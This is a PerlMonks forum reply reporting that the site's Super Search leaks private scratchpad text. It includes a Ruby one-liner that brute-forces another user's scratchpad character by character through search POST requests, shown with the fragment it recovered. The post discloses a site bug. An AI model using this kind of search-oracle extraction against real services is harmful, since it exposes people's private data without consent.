Beefy Boxes and Bandwidth Generously Provided by pair Networks
Perl-Sensitive Sunglasses

comment on

( #3333=superdoc: print w/replies, xml ) Need Help??

You can use this feature to find out the full text of the private scratchpad.

For example, if you want to know what follows "vec" in princepawn's scratchpad, you super-search the scratchpad for "veca", "vecb", ... putting each character after vec. This is very slow, so don't do it unless you really need to. It also sucks because the search is case-sensitive.

I tried this just to test that it works. It turns out that princepawn's scratchpad contains "$vector, 1, rand(2" (some letters may be ucased): super-search proves it.

I did the search with a little script that tries every character automatically (some think there are 2**31 characters). To find out the next character, just try (Update: readmored code)

time ruby -we 'STR="$vector, 1, rand(2";require"net/http";require"cgi" +;""); (?\ ..?~).each do|k|(?A..? +Z)===k and next; str=CGI.escape(STR+k.chr+"``1"); post= "displaytype= +raw;node_id=3989;n0=0;BIT=#{str};BIS=``1;BH=0;go=search;xa=0;a=prince +pawn;nf=1;xs=1;Wi=1;Tu=1;M=1;D=1;U=1;Ob=1;Po=1;MR=1;CU=1;Cr=1;BR=1;CC +=1;Sn=1;pPd=1;CQ=1;N=1;pFn=1;CA=1;Q=1;pFq=1;Hlp=1;Pol=1;xr=0;re=N"; r +es=""; "/",post, Hash["User-Agent"=>"node363597","Content-Ty +pe"=>"application/x-www-form-urlencoded"],res;if res !~/\bFinished se +arching\b|\bsearching remaining\b/i; puts"failed";puts res;elsif res= +~/\bnode_id=358697\b/;puts str;end;end;'

Beware, this takes some time to finish. Some guesswork can help (I guessed that "or" would follow "vact").

In reply to Re: Super Search searches scratchpads which are not public by ambrus
in thread Super Search searches scratchpads which are not public by deprecated

Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":

  • Are you posting in the right place? Check out Where do I post X? to know for sure.
  • Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:
    <code> <a> <b> <big> <blockquote> <br /> <dd> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr /> <i> <li> <nbsp> <ol> <p> <small> <strike> <strong> <sub> <sup> <table> <td> <th> <tr> <tt> <u> <ul>
  • Snippets of code should be wrapped in <code> tags not <pre> tags. In fact, <pre> tags should generally be avoided. If they must be used, extreme care should be taken to ensure that their contents do not have long lines (<70 chars), in order to prevent horizontal scrolling (and possible janitor intervention).
  • Want more info? How to link or How to display code and escape characters are good places to start.
Log In?

What's my password?
Create A New User
Domain Nodelet?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others rifling through the Monastery: (2)
As of 2023-05-28 19:59 GMT
Find Nodes?
    Voting Booth?

    No recent polls found